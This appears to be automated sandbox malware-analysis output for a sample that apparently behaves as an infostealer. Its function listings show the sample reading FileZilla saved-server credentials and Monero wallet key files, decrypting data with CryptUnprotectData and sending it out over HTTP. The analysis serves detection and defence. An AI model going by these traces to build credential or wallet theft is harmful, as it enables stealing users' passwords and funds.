Function 00E99B60 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00E99B84
LocalAlloc.KERNEL32(00000040,00000000), ref: 00E99BA3
LocalFree.KERNEL32(?), ref: 00E99BD3

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 3d7cec0e9c6345bb6eddc227250f5e183c4cda2c3177404c01568cde8f44ac5b
Instruction ID: 97481996a9759a5780524994c8da2b7229b7ebb6a039addb8026aae117eb83fd
Opcode Fuzzy Hash: 3d7cec0e9c6345bb6eddc227250f5e183c4cda2c3177404c01568cde8f44ac5b
Instruction Fuzzy Hash: 43110CB8A01209DFCB04DF98D985AAE77B5FF88300F104558ED15A7350D775AE10CF61

Function 0124F5ED Relevance: 4.1, Strings: 2, Instructions: 1618COMMON

Download Yara Rule

Strings

tw{, xrefs: 0124FD66
wVk, xrefs: 01250119

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: tw{$wVk
API String ID: 0-1620743359
Opcode ID: a78288a6a6dc55d50409acc81165e8d99c41f12280dd99cb53737faf1b48303f
Instruction ID: 557fbe6baa84c7a24621b5c4fb0a484d66bae9644e6caf10d3f50c290684463e
Opcode Fuzzy Hash: a78288a6a6dc55d50409acc81165e8d99c41f12280dd99cb53737faf1b48303f
Instruction Fuzzy Hash: 77B2E5F360C2049FE304AE2DEC8567AFBE9EB94720F16493DE6C4C7744EA3598058697

Function 0113032F Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf3e001ef93b7bba975e1c9c9ea5d0a8880bbcd3dd788cf31a337bc47f28d2f1
Instruction ID: dc9768234719fe1bb208dc7717a9bcbe628c8d9749f86966d65b9a21d96dcedd
Opcode Fuzzy Hash: cf3e001ef93b7bba975e1c9c9ea5d0a8880bbcd3dd788cf31a337bc47f28d2f1
Instruction Fuzzy Hash: 66516CF36182049FE7086D3DED9477BB79AEBD4320F2B873DE685C2B84E93558058151

Function 011E2E08 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f5d5090aecc4a0f249834fa8acb74440e0f4149803a32fef4da2ab9ad3f540c
Instruction ID: 96ba4ff513a9f048aa1dba84479aba43c2d89c4015621f1f379bc07092a83747
Opcode Fuzzy Hash: 2f5d5090aecc4a0f249834fa8acb74440e0f4149803a32fef4da2ab9ad3f540c
Instruction Fuzzy Hash: 2341D0B3B142241BD208193CED99777BA9DDB44530F2A023EED42E3BC0F962DD0442D5

Function 01163E11 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f83851d5cd50959e1359ec417916a061ff0f90594e514e5a4741fd9e4a03f6a1
Instruction ID: 6ea1b19746733589500a272b9da91adb1d78e978d6f0b6cf7a65a98924af99a8
Opcode Fuzzy Hash: f83851d5cd50959e1359ec417916a061ff0f90594e514e5a4741fd9e4a03f6a1
Instruction Fuzzy Hash: 234118F3A097049FE344AE19DC8477AB3E6EBD8310F2A453DDAC447394EA39AC458746

Function 0119BB7F Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e37493c3a0c27c08b8ff34af85c1217f23e700753c6d0d4b41d8e588c268da0
Instruction ID: 3dc9290c6ad6559bbab1ef7d9948200eeda7e28aa79098f36146d98f700ba8ae
Opcode Fuzzy Hash: 0e37493c3a0c27c08b8ff34af85c1217f23e700753c6d0d4b41d8e588c268da0
Instruction Fuzzy Hash: B94110F3E082108BE305AE19DC4176AB7E5EF94720F1A893DD9D887384EA35580087C3

Function 00EA9750 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00EA0250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366stringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EA8E0B

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

Part of subcall function 00E999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E999EC
Part of subcall function 00E999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E99A11
Part of subcall function 00E999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E99A31
Part of subcall function 00E999C0: ReadFile.KERNEL32(000000FF,?,00000000,00E9148F,00000000), ref: 00E99A5A
Part of subcall function 00E999C0: LocalFree.KERNEL32(00E9148F), ref: 00E99A90
Part of subcall function 00E999C0: CloseHandle.KERNEL32(000000FF), ref: 00E99A9A

Part of subcall function 00EA8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00EA8E52

GetProcessHeap.KERNEL32(00000000,000F423F,00EB0DBA,00EB0DB7,00EB0DB6,00EB0DB3), ref: 00EA0362
RtlAllocateHeap.NTDLL(00000000), ref: 00EA0369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00EA0385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EB0DB2), ref: 00EA0393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00EA03CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EB0DB2), ref: 00EA03DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00EA0419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EB0DB2), ref: 00EA0427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00EA0463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EB0DB2), ref: 00EA0475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EB0DB2), ref: 00EA0502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EB0DB2), ref: 00EA051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EB0DB2), ref: 00EA0532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EB0DB2), ref: 00EA054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00EA0562
lstrcat.KERNEL32(?,profile: null), ref: 00EA0571
lstrcat.KERNEL32(?,url: ), ref: 00EA0580
lstrcat.KERNEL32(?,00000000), ref: 00EA0593
lstrcat.KERNEL32(?,00EB1678), ref: 00EA05A2
lstrcat.KERNEL32(?,00000000), ref: 00EA05B5
lstrcat.KERNEL32(?,00EB167C), ref: 00EA05C4
lstrcat.KERNEL32(?,login: ), ref: 00EA05D3
lstrcat.KERNEL32(?,00000000), ref: 00EA05E6
lstrcat.KERNEL32(?,00EB1688), ref: 00EA05F5
lstrcat.KERNEL32(?,password: ), ref: 00EA0604
lstrcat.KERNEL32(?,00000000), ref: 00EA0617
lstrcat.KERNEL32(?,00EB1698), ref: 00EA0626
lstrcat.KERNEL32(?,00EB169C), ref: 00EA0635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00EB0DB2), ref: 00EA068E

Strings

<Host>, xrefs: 00EA037C
<Port>, xrefs: 00EA03C6
browser: FileZilla, xrefs: 00EA0559
<User>, xrefs: 00EA0410
url: , xrefs: 00EA0577
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00EA02A4
password: , xrefs: 00EA05FB
profile: null, xrefs: 00EA0568
<Pass encoding="base64">, xrefs: 00EA045A
login: , xrefs: 00EA05CA

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: b96e9c9a5faa5821a6a8a2a053d71446763aa1bdb0f5ba352a265f7e9688cc1c
Instruction ID: 86e57e4e361fdc26bb1ba1daf7d97057e5dbc95bcb1bb627f4a1ae99749cbb5c
Opcode Fuzzy Hash: b96e9c9a5faa5821a6a8a2a053d71446763aa1bdb0f5ba352a265f7e9688cc1c
Instruction Fuzzy Hash: CFD11F71A002089BCB54EBE4DD5AEEE73B8AF59300F545468F502BB085DF39BA05CB61

Function 00E95960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495networkstringmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EAA7E6

Part of subcall function 00E947B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E94839
Part of subcall function 00E947B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E94849

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00E959F8
StrCmpCA.SHLWAPI(?,00BBFCF0), ref: 00E95A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E95B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,00BBFCC0,00000000,?,00BBEF50,00000000,?,00EB1A1C), ref: 00E95E71
lstrlen.KERNEL32(00000000), ref: 00E95E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00E95E93
RtlAllocateHeap.NTDLL(00000000), ref: 00E95E9A
lstrlen.KERNEL32(00000000), ref: 00E95EAF
lstrlen.KERNEL32(00000000), ref: 00E95ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00E95EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00E95F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00E95F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00E95F4C
InternetCloseHandle.WININET(00000000), ref: 00E95FB0
InternetCloseHandle.WININET(00000000), ref: 00E95FBD
HttpOpenRequestA.WININET(00000000,00BBFBD0,?,00BBF278,00000000,00000000,00400100,00000000), ref: 00E95BF8

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

InternetCloseHandle.WININET(00000000), ref: 00E95FC7

Strings

------, xrefs: 00E95D4C
", xrefs: 00E95E16
", xrefs: 00E95CD5
------, xrefs: 00E95A96
------, xrefs: 00E95C0B

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
Opcode ID: dfebd2abd3838bdff909eac58a02600febe61c1e78e62736d379a2304d5c7545
Instruction ID: f6e1bfbf4151693a9dab1b8ae97acc50f8736f7f695ef26e8fc12936fa46a986
Opcode Fuzzy Hash: dfebd2abd3838bdff909eac58a02600febe61c1e78e62736d379a2304d5c7545
Instruction Fuzzy Hash: 64124072920218ABCB59EBA0DC99FEE73B8BF59300F4451A9B10677091EF343A49CF51

Function 00E9CEF0 Relevance: 30.4, APIs: 20, Instructions: 375stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

Part of subcall function 00EA8B60: GetSystemTime.KERNEL32(00EB0E1A,00BBEF20,00EB05AE,?,?,00E913F9,?,0000001A,00EB0E1A,00000000,?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EA8B86

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00E9CF83
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00E9D0C7
RtlAllocateHeap.NTDLL(00000000), ref: 00E9D0CE
lstrcat.KERNEL32(?,00000000), ref: 00E9D208
lstrcat.KERNEL32(?,00EB1478), ref: 00E9D217
lstrcat.KERNEL32(?,00000000), ref: 00E9D22A
lstrcat.KERNEL32(?,00EB147C), ref: 00E9D239
lstrcat.KERNEL32(?,00000000), ref: 00E9D24C
lstrcat.KERNEL32(?,00EB1480), ref: 00E9D25B
lstrcat.KERNEL32(?,00000000), ref: 00E9D26E
lstrcat.KERNEL32(?,00EB1484), ref: 00E9D27D
lstrcat.KERNEL32(?,00000000), ref: 00E9D290
lstrcat.KERNEL32(?,00EB1488), ref: 00E9D29F
lstrcat.KERNEL32(?,00000000), ref: 00E9D2B2
lstrcat.KERNEL32(?,00EB148C), ref: 00E9D2C1
